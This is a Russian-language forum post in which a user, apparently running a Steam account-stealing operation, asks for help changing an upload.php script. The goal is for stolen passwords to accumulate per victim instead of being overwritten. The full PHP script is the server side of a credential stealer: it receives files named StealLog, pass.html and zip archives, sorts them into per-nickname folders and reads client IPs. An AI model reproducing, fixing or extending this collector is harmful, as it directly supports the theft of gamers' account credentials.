1. Anubis77728.07.2024 в 03:25от
Загрузка...

Хелпаните с upload.php

Тема в разделе "Web-программирование", создана пользователем SteamSpam, 14.04.2015.

  1. SteamSpam

    SteamSpam

    Статус:
    Оффлайн
    Регистрация:
    09.03.15
    Сообщения:
    17
    Репутация:
    -2 +/-
    Всем привет.Нужна ваша помощь!Суть в том что мне нужно чтоб пассы приходили как логи от кейлога(pass1,pass2,pass3).А не так что заменяются один на другой!
    <?php
    $ip = getClientIP();
    $uploads_dir = './files';



    if ($_FILES["file"]["error"] == UPLOAD_ERR_OK)
    {
    $tmp_name = $_FILES["file"]["tmp_name"];
    $name = $_FILES["file"]["name"];
    $date = date("Y-m-d_H-i");

    $extension = pathinfo($name);

    file_put_contents("asd.txt", $extension['extension']);

    if($extension['extension'] == "zip")
    {
    if (!is_dir("$uploads_dir/")) mkdir("$uploads_dir/");
    $pattern = '/(\d+)\s(\w+)\.zip/';
    $replace = '$2';
    $nickname = preg_replace($pattern, $replace, $name);
    if($nickname == "Steam")
    {
    if (!is_dir("$uploads_dir/UNKNOWN/")) mkdir("$uploads_dir/UNKNOWN/");
    move_uploaded_file($tmp_name, "$uploads_dir/UNKNOWN/$name-$date.html");
    return;
    }
    if (!is_dir("$uploads_dir/$nickname/")) mkdir("$uploads_dir/$nickname/");
    move_uploaded_file($tmp_name, "$uploads_dir/$nickname/$name");
    }
    elseif($extension['extension'] == "log")
    {
    if (!is_dir("$uploads_dir/")) mkdir("$uploads_dir/");
    $pattern = '/(StealLog.)([a-zA-Z0-9_-]{0,})_(\d+)\.log/';
    $replace = '$2';
    $replace1 = '$3';
    $nickname = preg_replace($pattern, $replace, $name);
    $nickname1 = preg_replace($pattern, $replace1, $name);
    if($nickname == "Steam")
    {
    if (!is_dir("$uploads_dir/UNKNOWN/")) mkdir("$uploads_dir/UNKNOWN/");
    move_uploaded_file($tmp_name, "$uploads_dir/UNKNOWN/StealLog_$nickname1-$date.html");
    return;
    }
    if (!is_dir("$uploads_dir/$nickname/")) mkdir("$uploads_dir/$nickname/");
    move_uploaded_file($tmp_name, "$uploads_dir/$nickname/StealLog_$nickname1.log");
    }
    elseif($extension['extension'] == "html")
    {
    if (!is_dir("$uploads_dir/")) mkdir("$uploads_dir/");
    $pattern = '/(\w+)_pass\.html/';
    $replace = '$1';
    $nickname = preg_replace($pattern, $replace, $name);
    if($nickname == "Steam")
    {
    if (!is_dir("$uploads_dir/UNKNOWN/")) mkdir("$uploads_dir/UNKNOWN/");
    move_uploaded_file($tmp_name, "$uploads_dir/UNKNOWN/pass-$date.html");
    return;
    }
    if (!is_dir("$uploads_dir/$nickname/")) mkdir("$uploads_dir/$nickname/");
    move_uploaded_file($tmp_name, "$uploads_dir/$nickname/pass.html");
    }
    else
    {
    if (!is_dir("$uploads_dir/$nickname/")) mkdir("$uploads_dir/$nickname/");
    move_uploaded_file($tmp_name, "$uploads_dir/UNKNOWN/$name");
    }
    }

    function getClientIP()
    {

    if (isset($_SERVER))
    {
    if (isset($_SERVER["HTTP_X_FORWARDED_FOR"]))

    return $_SERVER["HTTP_X_FORWARDED_FOR"];

    if (isset($_SERVER["HTTP_CLIENT_IP"]))

    return $_SERVER["HTTP_CLIENT_IP"];

    return $_SERVER["REMOTE_ADDR"];
    }

    if (getenv('HTTP_X_FORWARDED_FOR'))

    return getenv('HTTP_X_FORWARDED_FOR');

    if (getenv('HTTP_CLIENT_IP'))

    return getenv('HTTP_CLIENT_IP');

    return getenv('REMOTE_ADDR');
    }
    ?>
     
    Последнее редактирование: 14.04.2015